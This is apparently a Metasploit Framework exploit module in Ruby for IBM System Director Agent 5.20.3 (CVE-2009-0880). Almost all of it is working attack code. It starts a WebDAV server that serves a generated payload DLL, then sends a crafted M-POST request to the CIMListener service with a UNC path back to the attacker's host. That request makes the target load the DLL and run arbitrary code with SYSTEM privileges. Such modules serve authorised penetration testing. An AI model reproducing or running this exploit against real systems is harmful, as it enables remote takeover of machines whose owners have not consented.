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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize super( 'Name'=> 'IBM System Director Agent DLL Injection', 'Description' => %q{ This module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3 to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM privileges. In order to accomplish remote DLL injection it uses a WebDAV service as disclosed by kingcope on December 2012. Because of this, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2. }, 'Author'=> [ 'Bernhard Mueller', # Vulnerability discovery and exploit using directory traversal 'kingcope', # Exploit using WebDAV 'juan vazquez' # Metasploit module ], 'Platform'=> 'win', 'References'=> [ [ 'CVE', '2009-0880'], [ 'OSVDB', '52616'], [ 'OSVDB', '88102'], [ 'BID', '34065' ], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt' ], [ 'URL', 'http://seclists.org/bugtraq/2012/Dec/5' ] ], 'Targets' => [ [ 'IBM System Director Agent 5.20.3 / Windows with WebClient enabled', { } ] ], 'DefaultTarget'=> 0, 'Privileged' => true, 'DisclosureDate' => 'Mar 10 2009' ) register_options( [ Opt::RPORT(6988), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]) ], self.class) end def auto_target(cli, request) agent = request.headers['User-Agent'] ret = nil # Check for MSIE and/or WebDAV redirector requests if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/ ret = targets[0] elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/ ret = targets[0] else print_error("Unknown User-Agent: #{agent}") end ret end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return end # dispatch WebDAV requests based on method first case request.method when 'OPTIONS' process_options(cli, request, mytarget) when 'PROPFIND' process_propfind(cli, request, mytarget) when 'GET' process_get(cli, request, mytarget) when 'PUT' print_status("Sending 404 for PUT #{request.uri} ...") send_not_found(cli) else print_error("Unexpected request method encountered: #{request.method}") end end # # GET requests # def process_get(cli, request, target) print_status("Responding to GET request #{request.uri}") # dispatch based on extension if (request.uri =~ /\.dll$/i) print_status("Sending DLL") return if ((p = regenerate_payload(cli)) == nil) dll_payload = generate_payload_dll send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' }) else send_not_found(cli) end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request, target) print_status("Responding to WebDAV OPTIONS request") headers = { #'DASL' => '<DAV:sql>', #'DAV'=> '1, 2', 'Allow'=> 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request, target) path = request.uri print_status("Received WebDAV PROPFIND request") body = '' if (path =~ /\.dll$/i) print_status("Sending DLL multistatus for #{path} ...") body = %Q|<?xml version="1.0"?> <a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> <a:response> </a:response> </a:multistatus> | elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i) print_status("Sending 404 for #{path} ...") send_not_found(cli) return elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def xml_data xml = <<-eos <?xml version="1.0" encoding="utf-8" ?> <CIM CIMVERSION="2.0" DTDVERSION="2.0"> <MESSAGE ID="1007" PROTOCOLVERSION="1.0"> <SIMPLEEXPREQ> <EXPMETHODCALL NAME="ExportIndication"> <EXPPARAMVALUE NAME="NewIndication"> <INSTANCE CLASSNAME="CIM_AlertIndication" > <PROPERTY NAME="Description" TYPE="string"> <VALUE>Sample CIM_AlertIndication indication</VALUE> </PROPERTY> <PROPERTY NAME="AlertType" TYPE="uint16"> <VALUE>1</VALUE> </PROPERTY> <PROPERTY NAME="PerceivedSeverity" TYPE="uint16"> <VALUE>3</VALUE> </PROPERTY> <PROPERTY NAME="ProbableCause" TYPE="uint16"> <VALUE>2</VALUE> </PROPERTY> <PROPERTY NAME="IndicationTime" TYPE="datetime"> <VALUE>20010515104354.000000:000</VALUE> </PROPERTY> </INSTANCE> </EXPPARAMVALUE> </EXPMETHODCALL> </SIMPLEEXPREQ> </MESSAGE> </CIM> eos return xml end def check peer = "#{rhost}:#{rport}" print_status("#{peer} - Checking if CIMListener exists...") res = send_request_cgi({ 'uri'=> "/CIMListener/", 'method' => 'M-POST', 'ctype'=> 'application/xml; charset=utf-8', 'headers' => { "Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40", "CIMOperation" => "MethodCall", "CIMExport" => "MethodRequest", "CIMExportMethod" => "ExportIndication" }, 'data' => xml_data, }, 1) if res and res.code == 200 and res.body =~ /CIMVERSION/ return CheckCode::Appears end return CheckCode::Safe end def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end super end def primer basename = rand_text_alpha(3) share_name = rand_text_alpha(3) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] exploit_unc= "\\\\#{myhost}\\" vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll") @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Injecting DLL...") res = send_request_cgi({ 'uri'=> "/CIMListener/#{exploit_unc}#{share_name}\\#{basename}.dll", 'method' => 'M-POST', 'ctype'=> 'application/xml; charset=utf-8', 'headers'=> { "Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40", "CIMOperation"=> "MethodCall", "CIMExport" => "MethodRequest", "CIMExportMethod" => "ExportIndication" }, 'data' => xml_data, }) if res and res.code == 200 and res.body =~ /CIMVERSION/ print_status"#{@peer} - Then injection seemed to work..." else fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response") end end end |
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